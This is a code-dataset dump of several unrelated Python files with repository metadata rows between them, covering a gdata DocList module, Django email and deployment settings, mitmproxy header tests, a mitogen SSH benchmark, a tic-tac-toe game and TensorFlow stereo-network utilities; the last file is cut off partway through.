"""The DocList docs:publishAuto element."""
_qname = DOCUMENTS_TEMPLATE % 'publishAuto'
value = 'value'
class PublishOutsideDomain(atom.core.XmlElement):
"""The DocList docs:publishOutsideDomain element."""
_qname = DOCUMENTS_TEMPLATE % 'publishOutsideDomain'
value = 'value'
class Filename(atom.core.XmlElement):
"""The DocList docs:filename element."""
_qname = DOCUMENTS_TEMPLATE % 'filename'
class SuggestedFilename(atom.core.XmlElement):
"""The DocList docs:suggestedFilename element."""
_qname = DOCUMENTS_TEMPLATE % 'suggestedFilename'
class Description(atom.core.XmlElement):
"""The DocList docs:description element."""
_qname = DOCUMENTS_TEMPLATE % 'description'
class CategoryFinder(object):
"""Mixin to provide category finding functionality.
Analogous to atom.data.LinkFinder, but a simpler API, specialized for
DocList categories.
"""
def add_category(self, scheme, term, label):
"""Add a category for a scheme, term and label.
Args:
scheme: The scheme for the category.
term: The term for the category.
label: The label for the category
Returns:
The newly created atom.data.Category.
"""
category = atom.data.Category(scheme=scheme, term=term, label=label)
self.category.append(category)
return category
AddCategory = add_category
def get_categories(self, scheme):
"""Fetch the category elements for a scheme.
Args:
scheme: The scheme to fetch the elements for.
Returns:
Generator of atom.data.Category elements.
"""
for category in self.category:
if category.scheme == scheme:
yield category
GetCategories = get_categories
def remove_categories(self, scheme):
"""Remove category elements for a scheme.
Args:
scheme: The scheme of category to remove.
"""
for category in list(self.get_categories(scheme)):
self.category.remove(category)
RemoveCategories = remove_categories
def get_first_category(self, scheme):
"""Fetch the first category element for a scheme.
Args:
scheme: The scheme of category to return.
Returns:
atom.data.Category if found or None.
"""
try:
return next(self.get_categories(scheme))
except StopIteration as e:
# The entry doesn't have the category
return None
GetFirstCategory = get_first_category
def set_resource_type(self, label):
"""Set the document type for an entry, by building the appropriate
atom.data.Category
Args:
label: str The value for the category entry. If None is passed the
category is removed and not set.
Returns:
An atom.data.Category or None if label is None.
"""
self.remove_categories(DATA_KIND_SCHEME)
if label is not None:
return self.add_category(scheme=DATA_KIND_SCHEME,
term='%s#%s' % (DOCUMENTS_NS, label),
label=label)
else:
return None
SetResourceType = set_resource_type
def get_resource_type(self):
"""Extracts the type of document this Resource is.
This method returns the type of document the Resource represents. Possible
values are document, presentation, drawing, spreadsheet, file, folder,
form, item, or pdf.
'folder' is a possible return value of this method because, for legacy
support, we have not yet renamed the folder keyword to collection in
the API itself.
Returns:
String representing the type of document.
"""
category = self.get_first_category(DATA_KIND_SCHEME)
if category is not None:
return category.label
else:
return None
GetResourceType = get_resource_type
def get_labels(self):
"""Extracts the labels for this Resource.
This method returns the labels as a set, for example: 'hidden', 'starred',
'viewed'.
Returns:
Set of string labels.
"""
return set(category.label for category in
self.get_categories(LABELS_SCHEME))
GetLabels = get_labels
def has_label(self, label):
"""Whether this Resource has a label.
Args:
label: The str label to test for
Returns:
Boolean value indicating presence of label.
"""
return label in self.get_labels()
HasLabel = has_label
def add_label(self, label):
"""Add a label, if it is not present.
Args:
label: The str label to set
"""
if not self.has_label(label):
self.add_category(scheme=LABELS_SCHEME,
term='%s#%s' % (LABELS_NS, label),
label=label)
AddLabel = add_label
def remove_label(self, label):
"""Remove a label, if it is present.
Args:
label: The str label to remove
"""
for category in self.get_categories(LABELS_SCHEME):
if category.label == label:
self.category.remove(category)
RemoveLabel = remove_label
def is_starred(self):
"""Whether this Resource is starred.
Returns:
Boolean value indicating that the resource is starred.
"""
return self.has_label(STARRED_LABEL)
IsStarred = is_starred
def is_hidden(self):
"""Whether this Resource is hidden.
Returns:
Boolean value indicating that the resource is hidden.
"""
return self.has_label(HIDDEN_LABEL)
IsHidden = is_hidden
def is_viewed(self):
"""Whether this Resource is viewed.
Returns:
Boolean value indicating that the resource is viewed.
"""
return self.has_label(VIEWED_LABEL)
IsViewed = is_viewed
def is_trashed(self):
"""Whether this resource is trashed.
Returns:
Boolean value indicating that the resource is trashed.
"""
return self.has_label(TRASHED_LABEL)
IsTrashed = is_trashed
def is_mine(self):
"""Whether this resource is marked as mine.
Returns:
Boolean value indicating that the resource is marked as mine.
"""
return self.has_label(MINE_LABEL)
IsMine = is_mine
def is_private(self):
"""Whether this resource is private.
Returns:
Boolean value indicating that the resource is private.
"""
return self.has_label(PRIVATE_LABEL)
IsPrivate = is_private
def is_shared_with_domain(self):
"""Whether this resource is shared with the domain.
Returns:
Boolean value indicating that the resource is shared with the domain.
"""
return self.has_label(SHAREDWITHDOMAIN_LABEL)
IsSharedWithDomain = is_shared_with_domain
def is_restricted_download(self):
"""Whether this resource is restricted download.
Returns:
Boolean value indicating whether the resource is restricted download.
"""
return self.has_label(RESTRICTEDDOWNLOAD_LABEL)
IsRestrictedDownload = is_restricted_download
class AclEntry(gdata.acl.data.AclEntry, gdata.data.BatchEntry):
"""Resource ACL entry."""
@staticmethod
def get_instance(role=None, scope_type=None, scope_value=None, key=False):
entry = AclEntry()
if role is not None:
if isinstance(role, str):
role = gdata.acl.data.AclRole(value=role)
if key:
entry.with_key = gdata.acl.data.AclWithKey(key='', role=role)
else:
entry.role = role
if scope_type is not None:
if scope_value is not None:
entry.scope = gdata.acl.data.AclScope(type=scope_type,
value=scope_value)
else:
entry.scope = gdata.acl.data.AclScope(type=scope_type)
return entry
GetInstance = get_instance
class AclFeed(gdata.acl.data.AclFeed):
"""Resource ACL feed."""
entry = [AclEntry]
class Resource(gdata.data.BatchEntry, CategoryFinder):
"""DocList version of an Atom Entry."""
last_viewed = LastViewed
last_modified_by = LastModifiedBy
resource_id = ResourceId
deleted = Deleted
writers_can_invite = WritersCanInvite
quota_bytes_used = QuotaBytesUsed
feed_link = [gdata.data.FeedLink]
filename = Filename
suggested_filename = SuggestedFilename
description = Description
# Only populated if you request /feeds/default/private/expandAcl
acl_feed = AclFeed
def __init__(self, type=None, title=None, **kwargs):
super(Resource, self).__init__(**kwargs)
if isinstance(type, str):
self.set_resource_type(type)
if title is not None:
if isinstance(title, str):
self.title = atom.data.Title(text=title)
else:
self.title = title
def get_acl_feed_link(self):
"""Extracts the Resource's ACL feed <gd:feedLink>.
Returns:
A gdata.data.FeedLink object.
"""
for feed_link in self.feed_link:
if feed_link.rel == ACL_FEEDLINK_REL:
return feed_link
return None
GetAclFeedLink = get_acl_feed_link
def get_revisions_feed_link(self):
"""Extracts the Resource's revisions feed <gd:feedLink>.
Returns:
A gdata.data.FeedLink object.
"""
for feed_link in self.feed_link:
if feed_link.rel == REVISION_FEEDLINK_REL:
return feed_link
return None
GetRevisionsFeedLink = get_revisions_feed_link
def get_resumable_create_media_link(self):
"""Extracts the Resource's resumable create link.
Returns:
A gdata.data.FeedLink object.
"""
return self.get_link(RESUMABLE_CREATE_MEDIA_LINK_REL)
GetResumableCreateMediaLink = get_resumable_create_media_link
def get_resumable_edit_media_link(self):
"""Extracts the Resource's resumable update link.
Returns:
A gdata.data.FeedLink object.
"""
return self.get_link(RESUMABLE_EDIT_MEDIA_LINK_REL)
GetResumableEditMediaLink = get_resumable_edit_media_link
def in_collections(self):
"""Returns the parents link(s) (collections) of this entry."""
links = []
for link in self.link:
if link.rel == PARENT_LINK_REL and link.href:
links.append(link)
return links
InCollections = in_collections
class ResourceFeed(gdata.data.BatchFeed):
"""Main feed containing a list of resources."""
entry = [Resource]
class Revision(gdata.data.GDEntry):
"""Resource Revision entry."""
publish = Publish
publish_auto = PublishAuto
publish_outside_domain = PublishOutsideDomain
def find_publish_link(self):
"""Get the link that points to the published resource on the web.
Returns:
A str for the URL in the link with a rel ending in #publish.
"""
return self.find_url(PUBLISH_LINK_REL)
FindPublishLink = find_publish_link
def get_publish_link(self):
"""Get the link that points to the published resource on the web.
Returns:
A gdata.data.Link for the link with a rel ending in #publish.
"""
return self.get_link(PUBLISH_LINK_REL)
GetPublishLink = get_publish_link
class RevisionFeed(gdata.data.GDFeed):
"""A DocList Revision feed."""
entry = [Revision]
class ArchiveResourceId(atom.core.XmlElement):
"""The DocList docs:removed element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveResourceId'
class ArchiveFailure(atom.core.XmlElement):
"""The DocList docs:archiveFailure element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveFailure'
class ArchiveComplete(atom.core.XmlElement):
"""The DocList docs:archiveComplete element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveComplete'
class ArchiveTotal(atom.core.XmlElement):
"""The DocList docs:archiveTotal element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveTotal'
class ArchiveTotalComplete(atom.core.XmlElement):
"""The DocList docs:archiveTotalComplete element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveTotalComplete'
class ArchiveTotalFailure(atom.core.XmlElement):
"""The DocList docs:archiveTotalFailure element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveTotalFailure'
class ArchiveConversion(atom.core.XmlElement):
"""The DocList docs:removed element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveConversion'
source = 'source'
target = 'target'
class ArchiveNotify(atom.core.XmlElement):
"""The DocList docs:archiveNotify element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveNotify'
class ArchiveStatus(atom.core.XmlElement):
"""The DocList docs:archiveStatus element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveStatus'
class ArchiveNotifyStatus(atom.core.XmlElement):
"""The DocList docs:archiveNotifyStatus element."""
_qname = DOCUMENTS_TEMPLATE % 'archiveNotifyStatus'
class Archive(gdata.data.GDEntry):
"""Archive entry."""
archive_resource_ids = [ArchiveResourceId]
status = ArchiveStatus
date_completed = ArchiveComplete
num_resources = ArchiveTotal
num_complete_resources = ArchiveTotalComplete
num_failed_resources = ArchiveTotalFailure
failed_resource_ids = [ArchiveFailure]
notify_status = ArchiveNotifyStatus
conversions = [ArchiveConversion]
notification_email = ArchiveNotify
size = QuotaBytesUsed
@staticmethod
def from_resource_list(resources):
resource_ids = []
for resource in resources:
id = ArchiveResourceId(text=resource.resource_id.text)
resource_ids.append(id)
return Archive(archive_resource_ids=resource_ids)
FromResourceList = from_resource_list
class Removed(atom.core.XmlElement):
"""The DocList docs:removed element."""
_qname = DOCUMENTS_TEMPLATE % 'removed'
class Changestamp(atom.core.XmlElement):
"""The DocList docs:changestamp element."""
_qname = DOCUMENTS_TEMPLATE % 'changestamp'
value = 'value'
class Change(Resource):
"""Change feed entry."""
changestamp = Changestamp
removed = Removed
class ChangeFeed(gdata.data.GDFeed):
"""DocList Changes feed."""
entry = [Change]
class QuotaBytesTotal(atom.core.XmlElement):
"""The DocList gd:quotaBytesTotal element."""
_qname = gdata.data.GDATA_TEMPLATE % 'quotaBytesTotal'
class QuotaBytesUsedInTrash(atom.core.XmlElement):
"""The DocList docs:quotaBytesUsedInTrash element."""
_qname = DOCUMENTS_TEMPLATE % 'quotaBytesUsedInTrash'
class ImportFormat(atom.core.XmlElement):
"""The DocList docs:importFormat element."""
_qname = DOCUMENTS_TEMPLATE % 'importFormat'
source = 'source'
target = 'target'
class ExportFormat(atom.core.XmlElement):
"""The DocList docs:exportFormat element."""
_qname = DOCUMENTS_TEMPLATE % 'exportFormat'
source = 'source'
target = 'target'
class FeatureName(atom.core.XmlElement):
"""The DocList docs:featureName element."""
_qname = DOCUMENTS_TEMPLATE % 'featureName'
class FeatureRate(atom.core.XmlElement):
"""The DocList docs:featureRate element."""
_qname = DOCUMENTS_TEMPLATE % 'featureRate'
class Feature(atom.core.XmlElement):
"""The DocList docs:feature element."""
_qname = DOCUMENTS_TEMPLATE % 'feature'
name = FeatureName
rate = FeatureRate
class MaxUploadSize(atom.core.XmlElement):
"""The DocList docs:maxUploadSize element."""
_qname = DOCUMENTS_TEMPLATE % 'maxUploadSize'
kind = 'kind'
class AdditionalRoleSet(atom.core.XmlElement):
"""The DocList docs:additionalRoleSet element."""
_qname = DOCUMENTS_TEMPLATE % 'additionalRoleSet'
primaryRole = 'primaryRole'
additional_role = [gdata.acl.data.AclAdditionalRole]
class AdditionalRoleInfo(atom.core.XmlElement):
"""The DocList docs:additionalRoleInfo element."""
_qname = DOCUMENTS_TEMPLATE % 'additionalRoleInfo'
kind = 'kind'
additional_role_set = [AdditionalRoleSet]
class Metadata(gdata.data.GDEntry):
"""Metadata entry for a user."""
quota_bytes_total = QuotaBytesTotal
quota_bytes_used = QuotaBytesUsed
quota_bytes_used_in_trash = QuotaBytesUsedInTrash
import_formats = [ImportFormat]
export_formats = [ExportFormat]
features = [Feature]
max_upload_sizes = [MaxUploadSize]
additional_role_info = [AdditionalRoleInfo]
| [
"[email protected]"
]
| |
616900694b0862636d221e3a8773a98780b7afd3 | 493c7d9678a0724736fb9dd7c69580a94099d2b4 | /apps/utils/email_send.py | 36fe5822fba9d09e3c79655bd951767e0024091b | []
| no_license | cuixiaozhao/MxOnline | e253c8c5f5fa81747d8e1ca064ce032e9bd42566 | c96ae16cea9ad966df36e9fcacc902c2303e765c | refs/heads/master | 2020-03-29T18:47:11.158275 | 2018-10-22T14:06:50 | 2018-10-22T14:06:50 | 150,231,387 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,622 | py | #!/usr/bin/python3
# -*- coding:utf-8 -*-
# Project: MxOnline
# Software: PyCharm
# Time : 2018-09-27 18:41
# File : email_send.py
# Author : ๅคฉๆดๅคฉๆ
# Email : [email protected]
from users.models import EmailVerifyRecord
from random import Random
from django.core.mail import send_mail
from MxOnline.settings import EMAIL_FROM
def random_str(randomlength=8):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz01234567890'
length = len(chars) - 1
random = Random()
for i in range(randomlength):
str += chars[random.randint(0, length)]
return str
def send_register_email(email, send_type="register"):
email_record = EmailVerifyRecord()
code = random_str(16)
email_record.code = code
email_record.email = email
email_record.send_type = send_type
email_record.save()
# ๅฎไนE-mail็ไธป้ขไธไธปไฝๅ
ๅฎน๏ผ
email_title = ""
email_body = ""
if send_type == "register":
email_title = "ๆ
ๅญฆๅจ็บฟ็ฝๆณจๅๆฟๆดป้พๆฅ"
email_body = "่ฏท็นๅปไธ้ข็้พๆฅๆฅๆฟๆดปไฝ ็่ดฆๅท:http://127.0.0.1:8000/active/{0}".format(code)
send_status = send_mail(email_title, email_body, EMAIL_FROM, [email])
if send_status:
pass
elif send_type == "forget":
email_title = "ๆ
ๅญฆๅจ็บฟ็ฝ้็ฝฎ้พๆฅ"
email_body = "่ฏท็นๅปไธ้ข็้พๆฅๆฅ้็ฝฎไฝ ็่ดฆๅท:http://127.0.0.1:8000/reset/{0}".format(code)
send_status = send_mail(email_title, email_body, EMAIL_FROM, [email])
if send_status:
pass
def generate_random_str():
pass
| [
"19930911cXS"
]
| 19930911cXS |
ecfe7678744fa8d9f0e8c01aab200b5c1f9f6562 | 6fb1d9f617ad89c5ac7e4280f07a88bdb8b02aee | /test/mitmproxy/builtins/test_setheaders.py | 41c1836059fa20e5bf5afa43edf5bd300b45f47c | [
"MIT"
]
| permissive | tigerqiu712/mitmproxy | e689f5d87e91837a6853b1a1402269ba3be4fcbc | dcfa7027aed5a8d4aa80aff67fc299298659fb1b | refs/heads/master | 2021-01-12T22:38:19.735004 | 2016-08-04T22:39:48 | 2016-08-04T22:39:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,925 | py | from .. import tutils, mastertest
from mitmproxy.builtins import setheaders
from mitmproxy.flow import state
from mitmproxy import options
class TestSetHeaders(mastertest.MasterTest):
def mkmaster(self, **opts):
s = state.State()
o = options.Options(**opts)
m = mastertest.RecordingMaster(o, None, s)
sh = setheaders.SetHeaders()
m.addons.add(o, sh)
return m, sh
def test_configure(self):
sh = setheaders.SetHeaders()
o = options.Options(
setheaders = [("~b", "one", "two")]
)
tutils.raises(
"invalid setheader filter pattern",
sh.configure, o, o.keys()
)
def test_setheaders(self):
m, sh = self.mkmaster(
setheaders = [
("~q", "one", "two"),
("~s", "one", "three")
]
)
f = tutils.tflow()
f.request.headers["one"] = "xxx"
self.invoke(m, "request", f)
assert f.request.headers["one"] == "two"
f = tutils.tflow(resp=True)
f.response.headers["one"] = "xxx"
self.invoke(m, "response", f)
assert f.response.headers["one"] == "three"
m, sh = self.mkmaster(
setheaders = [
("~s", "one", "two"),
("~s", "one", "three")
]
)
f = tutils.tflow(resp=True)
f.request.headers["one"] = "xxx"
f.response.headers["one"] = "xxx"
self.invoke(m, "response", f)
assert f.response.headers.get_all("one") == ["two", "three"]
m, sh = self.mkmaster(
setheaders = [
("~q", "one", "two"),
("~q", "one", "three")
]
)
f = tutils.tflow()
f.request.headers["one"] = "xxx"
self.invoke(m, "request", f)
assert f.request.headers.get_all("one") == ["two", "three"]
| [
"[email protected]"
]
| |
0e6d89722932fd3a7117104f6e6c4694238e3d04 | eec2e3ed9be7c0bd4765a4bd9f32d2d575ff74ce | /databasetest/databasetest/wsgi.py | eeb1ca793be5c06948a41e91cee09bcd0663ceec | []
| no_license | durmusyasar/CecAcademy-Projects-4--Pretty-Printed-- | a67e5cb4bb8f7b9d64b9cd89dff84df3028eb0be | d5710b1bd79f4125cc6f246371cb848f23be0c74 | refs/heads/master | 2021-06-18T11:30:18.365631 | 2019-09-04T12:50:03 | 2019-09-04T12:50:03 | 173,425,664 | 0 | 0 | null | 2021-06-10T21:13:44 | 2019-03-02T08:57:58 | Python | UTF-8 | Python | false | false | 401 | py | """
WSGI config for databasetest project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'databasetest.settings')
application = get_wsgi_application()
| [
"[email protected]"
]
| |
6db9bb5b24703aab877180c00f818cc1d8c49db5 | 8d13818c4aa7e32df594b3859344812669fd26f1 | /school_navigator/settings/deploy.py | 7d1186222c366849ebeca052151a059af60ef6a0 | []
| no_license | rosalsm/school-navigator | ee4ea47d9845900b22836b93bdc82862a8e53741 | a41cb0721da3f7c7cd43ae76f162db51c764d8ea | refs/heads/master | 2020-12-07T03:50:24.615270 | 2016-03-09T02:37:12 | 2016-03-09T02:37:12 | 54,512,859 | 0 | 0 | null | 2016-03-22T22:25:43 | 2016-03-22T22:25:42 | null | UTF-8 | Python | false | false | 1,893 | py | # Settings for live deployed environments: vagrant, staging, production, etc
from .base import * # noqa
os.environ.setdefault('CACHE_HOST', '127.0.0.1:11211')
os.environ.setdefault('BROKER_HOST', '127.0.0.1:5672')
ENVIRONMENT = os.environ['ENVIRONMENT']
DEBUG = False
DATABASES['default']['NAME'] = 'school_navigator_%s' % ENVIRONMENT.lower()
DATABASES['default']['USER'] = 'school_navigator_%s' % ENVIRONMENT.lower()
DATABASES['default']['HOST'] = os.environ.get('DB_HOST', '')
DATABASES['default']['PORT'] = os.environ.get('DB_PORT', '')
DATABASES['default']['PASSWORD'] = os.environ.get('DB_PASSWORD', '')
WEBSERVER_ROOT = '/var/www/school_navigator/'
PUBLIC_ROOT = os.path.join(WEBSERVER_ROOT, 'public')
STATIC_ROOT = os.path.join(PUBLIC_ROOT, 'static')
MEDIA_ROOT = os.path.join(PUBLIC_ROOT, 'media')
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',
'LOCATION': '%(CACHE_HOST)s' % os.environ,
}
}
EMAIL_SUBJECT_PREFIX = '[School_Navigator %s] ' % ENVIRONMENT.title()
DEFAULT_FROM_EMAIL = 'noreply@%(DOMAIN)s' % os.environ
SERVER_EMAIL = DEFAULT_FROM_EMAIL
COMPRESS_ENABLED = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
ALLOWED_HOSTS = [os.environ['DOMAIN']]
# Uncomment if using celery worker configuration
CELERY_SEND_TASK_ERROR_EMAILS = True
BROKER_URL = 'amqp://school_navigator_%(ENVIRONMENT)s:%(BROKER_PASSWORD)s@%(BROKER_HOST)s/school_navigator_%(ENVIRONMENT)s' % os.environ # noqa
# Environment overrides
# These should be kept to an absolute minimum
if ENVIRONMENT.upper() == 'LOCAL':
# Don't send emails from the Vagrant boxes
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
ADMINS = (
('Colin Copeland', '[email protected]'),
)
MANAGERS = ADMINS
LOGGING['handlers']['file']['filename'] = '/var/www/school_navigator/log/schools.log'
| [
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]
| |
d916feda1d6f1e80da823656bd4c71d6f4dd5a02 | d0d1e07c984651f96bd9386d546c85c0341e46b2 | /timedata/control/envelope/segments.py | 16160ce32aeb7e7df7a512c946d3aac288a9636c | [
"MIT"
]
| permissive | timedata-org/timedata | 61cde905b1fe9eb60ac83ecbf5a5a2114793c45d | 3faac7450678aaccd4a283d0d41ca3e7f113f51b | refs/heads/master | 2020-04-11T12:03:57.962646 | 2019-06-09T10:05:16 | 2019-06-09T10:05:52 | 51,217,217 | 5 | 3 | null | 2016-09-18T16:20:43 | 2016-02-06T19:13:43 | C++ | UTF-8 | Python | false | false | 1,116 | py | class Segments(list):
"""
A list of [level, time] pairs.
"""
def __init__(self, segments=(), length=None):
super().__init__()
self.base_value = 0
for segment in segments:
try:
level, time = segment
except TypeError:
level, time = segment, None
self.append([level, time])
times = [t for s, t in self if t is not None]
if times:
mean = sum(times) / len(times)
else:
mean = (length or 1) / max(1, len(self))
for segment in self:
if segment[1] is None:
segment[1] = mean
self.total_time = sum(t for l, t in self)
def __call__(self, time, base_value=0):
elapsed_time = 0
level = base_value
for l, t in self:
segment_end_time = elapsed_time + t
if time < segment_end_time:
delta_t = time - elapsed_time
return level + (l - level) * delta_t / t
elapsed_time = segment_end_time
level = l
return level
| [
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]
| |
474c9f5e02f118f0f06da4331b7c2bd065301b36 | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /NyTjy8nmHj9bmxMTC_14.py | e3c771df7a753dd5a3ce288cd92845294dcedb72 | []
| no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 171 | py |
import math
from decimal import Decimal
โ
def vol_pizza(radius, height):
solution = radius*radius*height*math.pi
decSol = Decimal(solution)
return round(decSol)
| [
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]
| |
dd2c7c4d2446ea1919e10264fc0438137e66880e | f2d1362eea91a090cdec4f232ef168f0837a5f5d | /tests/bench/ssh-roundtrip.py | 8745505d2470f6f5065b38cb82c7fa585e3ac501 | [
"BSD-3-Clause"
]
| permissive | marc1006/mitogen | 2296e7d7618d130efcd42d355ace16d536237364 | 2ed8395d6ce2adc6a252b68c310646707348f3a1 | refs/heads/master | 2022-05-19T19:38:30.053265 | 2019-08-08T16:50:40 | 2019-08-08T16:54:33 | 201,296,264 | 0 | 0 | null | 2019-08-08T16:25:20 | 2019-08-08T16:25:20 | null | UTF-8 | Python | false | false | 597 | py | """
Measure latency of SSH RPC.
"""
import sys
import time
import mitogen
import mitogen.utils
import ansible_mitogen.affinity
mitogen.utils.setup_gil()
ansible_mitogen.affinity.policy.assign_worker()
try:
xrange
except NameError:
xrange = range
def do_nothing():
pass
@mitogen.main()
def main(router):
f = router.ssh(hostname=sys.argv[1])
f.call(do_nothing)
t0 = time.time()
end = time.time() + 5.0
i = 0
while time.time() < end:
f.call(do_nothing)
i += 1
t1 = time.time()
print('++', float(1e3 * (t1 - t0) / (1.0+i)), 'ms')
| [
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]
| |
dbddee33c2e3dad0c8f9955deb3e40d75449a052 | cebf2e5276e6d064d0ec86beaf1129fe0d0fd582 | /days081-090/day083/project/tic_tac_toe.py | 04fa7c9806b6d01e22dbdb0233b6d24bcf3ad8d4 | []
| no_license | SheikhFahimFayasalSowrav/100days | 532a71c5c790bc28b9fd93c936126a082bc415f5 | 0af9f2f16044facc0ee6bce96ae5e1b5f88977bc | refs/heads/master | 2023-06-14T06:18:44.109685 | 2021-07-08T16:58:13 | 2021-07-08T16:58:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,504 | py | import random
EMPTY = '_'
CROSS = 'X๏ธ'
DOT = 'O'
class TicTacToe:
POS_DICT = {
1: (0, 0),
2: (0, 1),
3: (0, 2),
4: (1, 0),
5: (1, 1),
6: (1, 2),
7: (2, 0),
8: (2, 1),
9: (2, 2),
}
def __init__(self, players):
self.board = [[EMPTY for _i in range(3)] for _j in range(3)]
self.winners = {'DRAW': 0, players[0].upper(): 0, players[1].upper(): 0}
self.player1 = random.choice(players)
players.remove(self.player1)
self.player2 = players[0]
self.round = 1
self.turn = 0
self.game_over = False
def start(self):
print('\nRules:')
print(' Player 1 always starts.')
print(' Players are selected randomly for first round.')
print(' Player 1 is "X", Player 2 is "O".')
print(' You must select a number from 1 to 9')
print('when choosing a move, as follows:')
print('\n 1 2 3\n 4 5 6\n 7 8 9')
print('\nFor this round:')
print('Player 1:', self.player1)
print('Player 2:', self.player2)
def convert_pos(self, index):
return self.POS_DICT.get(index, None)
def is_available(self, row, col):
return self.board[row][col] == EMPTY
def play(self):
index = int(input(f'Enter a position on the board {self.player1 if self.turn % 2 == 0 else self.player2}: '))
pos = self.convert_pos(index)
if pos is None:
print('Invalid position entered!')
return False
row, col = pos
if not self.is_available(row, col):
print('Position is not a free space!')
return False
self.board[row][col] = CROSS if self.turn % 2 == 0 else DOT
self.turn += 1
return True
def reset(self):
if input('Type "yes" if you wish to keep playing? ').lower() == 'yes':
self.board = [[EMPTY for _i in range(3)] for _j in range(3)]
self.turn = 0
self.round += 1
self.player1, self.player2 = self.player2, self.player1
print("\nATTENTION: The players have been switched!!!")
print('\nFor this round:')
print('Player 1:', self.player1)
print('Player 2:', self.player2)
else:
self.game_over = True
def final_output(self):
print(f"\nYou have played {self.round} rounds.\n")
for winner, score in self.winners.items():
print(f'{winner} won {score} times.')
del self.winners['DRAW']
winner = max(self.winners, key=self.winners.get)
print(f'\n{winner} is the final winner!')
def check_board(self):
b_dict = {
1: self.board[0][0],
2: self.board[0][1],
3: self.board[0][2],
4: self.board[1][0],
5: self.board[1][1],
6: self.board[1][2],
7: self.board[2][0],
8: self.board[2][1],
9: self.board[2][2],
}
if b_dict[1] == b_dict[2] == b_dict[3] or b_dict[1] == b_dict[4] == b_dict[7]:
return b_dict[1]
if b_dict[4] == b_dict[5] == b_dict[6] or b_dict[2] == b_dict[5] == b_dict[8]:
return b_dict[5]
if b_dict[7] == b_dict[8] == b_dict[9] or b_dict[3] == b_dict[6] == b_dict[9]:
return b_dict[9]
if b_dict[1] == b_dict[5] == b_dict[9] or b_dict[3] == b_dict[5] == b_dict[7]:
return b_dict[5]
def check_game(self):
if self.turn == 9:
self.winners['DRAW'] += 1
print("\nFinal board:")
print(self)
print("It's a DRAW!")
self.reset()
if self.turn >= 5:
winner = self.check_board()
if winner != EMPTY and winner is not None:
print("\nFinal board:")
print(self)
winner_name = self.player1 if winner == CROSS else self.player2
print(f'This round was won by {winner_name}!')
self.winners[winner_name.upper()] += 1
self.reset()
def __str__(self):
lines = [' '.join(self.board[x]) for x in range(3)]
return '\n'.join(lines)
print("Welcome to Tic Tac Toe!")
game = TicTacToe(input('Enter the name for the players: ').split())
game.start()
while not game.game_over:
print("\nCurrent board: ")
print(game)
if game.play():
game.check_game()
game.final_output()
| [
"[email protected]"
]
| |
8511a92526362590653b4d46e0952834d47a5b81 | 2871a5c3d1e885ee72332dbd8ff2c015dbcb1200 | /SteReFo/stereonet/utils.py | 65da3b85dd3f3fd2addb467268b0901a7c58105a | [
"BSD-3-Clause",
"MIT"
]
| permissive | huawei-noah/noah-research | 297476299ad040552e44656541858145de72d141 | 82c49c36b76987a46dec8479793f7cf0150839c6 | refs/heads/master | 2023-08-16T19:29:25.439701 | 2023-08-14T03:11:49 | 2023-08-14T03:11:49 | 272,853,727 | 816 | 171 | null | 2023-09-12T01:28:36 | 2020-06-17T01:53:20 | Python | UTF-8 | Python | false | false | 4,760 | py | #Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.
#This program is free software; you can redistribute it and/or modify it under the terms of the BSD 0-Clause License.
#This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the BSD 0-Clause License for more details.
import tensorflow as tf
import numpy as np
import re
def conv2d(inputs, filters, kernel_size, name, strides=1, dilation_rate=1):
return tf.layers.conv2d(inputs=inputs, filters=filters, kernel_size=kernel_size, strides=strides, padding='same',
kernel_initializer=tf.contrib.layers.xavier_initializer(),bias_initializer=tf.zeros_initializer(),dilation_rate=dilation_rate,
name=name)
def conv3d(input,num_outputs,kernel_size,name):
return tf.layers.conv3d(inputs=input,filters=num_outputs,kernel_size=kernel_size,kernel_initializer=tf.contrib.layers.xavier_initializer(),activation=None,padding='same',name=name)
def resnet_block(inputs, filters, kernel_size, name, dilation_rate=1):
out = conv2d(inputs=inputs, filters=filters, kernel_size=kernel_size, name=name + '_conv1', dilation_rate=dilation_rate)
out = tf.nn.relu(out,name=name + '_relu1')
out = conv2d(inputs=out, filters=filters, kernel_size=kernel_size, name=name + '_conv2', dilation_rate=dilation_rate)
out = tf.add(out, inputs, name=name + '_add')
out = tf.nn.relu(out,name=name + '_relu2')
return out
def lcn_preprocess(input_tensor):
"""
Returns the normalised and centered values of a tensor, along with its standard dev.
"""
full_h = int(input_tensor.shape[1])
full_w = int(input_tensor.shape[2])
##compute local averages
ones = tf.ones_like(input_tensor)
avg_filter = tf.ones([9,9,3,1],dtype=tf.float32,name='avg_filter')
divide_weight = tf.nn.convolution(ones,filter=avg_filter,padding='SAME')
input_tensor_avg = tf.nn.convolution(input_tensor,filter=avg_filter,padding='SAME') / divide_weight
#compute local std dev
